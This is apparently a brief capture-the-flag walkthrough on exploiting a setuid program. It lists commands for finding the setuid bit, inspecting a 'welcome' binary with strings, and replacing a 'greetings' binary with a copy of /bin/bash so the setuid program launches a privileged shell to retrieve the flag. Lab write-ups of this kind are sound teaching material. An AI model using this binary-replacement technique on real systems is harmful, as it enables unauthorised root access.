1️⃣ 1⃣ 1⃣ Exploiting Setuid Programs
Check for Setuid bit
ls -laCheck for strings in welcome binary
strings welcomeTry to overwrite greetings binary with /bin/bash
cp /bin/bash greetingsRemove greetings binary
Copy bash to current directory with name "greetings"
Execute the welcome binary
Retrieve the flag
Last updated